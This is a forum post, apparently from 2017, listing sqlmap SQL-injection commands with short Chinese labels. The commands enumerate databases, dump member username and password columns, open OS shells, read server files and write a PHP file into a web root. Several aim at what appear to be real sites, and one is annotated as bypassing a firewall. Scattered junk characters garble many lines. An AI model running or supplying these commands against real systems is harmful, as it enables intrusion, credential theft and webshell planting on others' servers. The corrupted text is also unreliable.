找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1735|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap3 y1 |. F6 n: r

# J$ e9 I1 U- u+ H+ h$ Z' _update :::::>     in the folder   after  execute    following   order : svn update# M1 ?* o0 R) }' U
+ G  C# e+ I1 V$ h
sqlmap.py -r 1.txt --current-db. y6 ?& q# m# j& q, j( i  F
- u' W" z8 r8 r0 c5 `$ B7 ]
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
. f/ ~% Y1 U! W' }% I( G; T( u3 u! h9 W( D9 x
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) & K3 E0 F# z$ A4 H) t9 Q
猜解数据库
" a# y; w! ~" d./sqlmap.py -u "injection-url" --dbs7 M0 S* d: R# a. @
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
. @2 J! f* i* H! S
& \9 n1 [- V: v; C猜解表名( h; b- B/ h0 d$ p/ O; D2 w4 R2 ]
./sqlmap.py -u "injection-url" -D database_name --tables
$ b- h& P9 k% G  F, U; r" U# o- ~* Y8 J4 M
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"4 x! c" c+ c. d+ k7 M
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 7 q$ J* M7 o+ y5 n' F3 d

. _+ r5 A" l. w. a6 O0 }* ssqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump0 Z6 X4 z0 m2 H, R1 U# q* R
. o0 `% s: J' p1 V( n! i* |
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
: V; ]3 y( e, B9 ssqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
! [$ f, T: W8 p. Ksqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" % C: k0 p, p7 c/ x$ g
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
, O+ ]& b  o% o& }  i, X9 i8 t5 o  z; ~' q
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
  ]) U, O( F' u+ F/ W0 ~7 _  Zsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"/ y$ b: j# n' t, |. K
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
8 ~0 u& O4 F8 c/ H. C: nsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"/ W. O! E% [) {& V2 R3 h! s3 `9 A+ T  E
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
# s* ?7 r* d3 Q3 e( [" ?( B" d: u! h! ?9 s2 b1 F$ {
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
) \0 y: \4 Z* U! R/ Vsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
) p9 m9 J6 O3 Z$ X" d. M6 ]
4 c0 V* R. y9 |& V  y9 w- w0 w- |sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"5 ?) j* b* C1 N8 t0 a$ Z+ o* P) }
猜解列名' _0 ^, }& z! l4 x- C7 I3 W' B
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns' r% ~4 n7 V; a. K! c

% p+ ]. o0 l4 J/ c, M; j: hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" & P7 v2 n( H2 T' x, e: u" u
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" $ |7 i" |) T+ j% }/ a2 Y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"7 Z" h2 ~9 s, a  `' M( T8 b

; o! z  I  C( D* ~7 a" Z* Wsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
  i4 _- {7 L6 D8 K&submit=Go4 b( u; T$ |0 e+ z2 W7 j( q
猜解值
- ?/ L4 \; I. [; f( ?7 ~./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
2 i8 _% n4 }1 e% O========================================================+ o/ p- F6 [+ S
搜索表名中包括mana字符的6 ?& @) N7 e. p. v; E5 H& ]
/sqlmap.py -u "injection-url" -T mana --search
) G; h! U, ^  R返回一个交互式sql shell0 ~' y) S8 H) _
/sqlmap.py -u "injection-url" --sql-shell
# T9 _4 E. F& p1 J读取指定文件(需权限)
) T/ C( {2 K2 z6 m! M0 Z/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
/ G6 |- C5 G2 L: M6 l  W% s查看当前 用户 及 数据库
8 ~3 }; Z+ S- H2 D3 L6 B: K3 [5 K/sqlmap.py -u "injection-url" --current-user --current-db
* ?9 @5 H- u# o8 ?* C本地文件 写入 远程目标绝对路径
* n. b& R8 s+ a+ }7 [! h+ t/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
" y3 }" J( {2 J! v! ?$ ^sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" - i* f# O, Y# q
4 I1 }( `4 h, Z& o9 b& s* J
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
" c: y# a( f# V2 r( P4 D2 f查看某用的权限
5 {5 T2 K. w5 Q. \/sqlmap.py -u "injection-url" --privileges -U root3 H, M2 |: n; m4 ]" x! S! L
查看当前用户是否为dba/ y0 r" W! g7 `+ R6 h& r, O1 y: U
/sqlmap.py -u "injection-url" --is-dba) p+ |) z9 N6 C. ~
读取所有数据库用户或指定数据库用户的密码
; R3 H% [; i' ^sqlmap.py -r 1.txt --users --passwords
6 j. d2 x& I' S( L$ F4 X2 z# asqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
) J7 Q. i- {' u% q# p9 R- V' J( ]9 @0 t8 S8 ]
/sqlmap.py -u "injection-url" --passwords -U root% E5 ^7 N1 k( d5 v) T+ D

& d8 r; ?( f; y: C, ~/ |' s--start&&--stop 与 --first&&--last 的区别# t3 r0 |! H; K/ \
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
7 p4 u0 \8 u+ K! B% t% `
0 J9 W$ N3 m2 i0 a" j从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)3 }0 r) k/ P6 k) u5 T2 P
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables+ K! o/ s! T9 ?8 z+ ~
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns2 `0 L1 m& A: q7 M2 `

4 e, a$ b/ N; J  I8 [6 r8 ]+ l  q执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)  C6 u7 D9 F. r+ A
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"8 v% F1 ?" o* w. v9 ]- H) u
' i# I1 A, ^# P- m9 r: w# z& O. a: z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表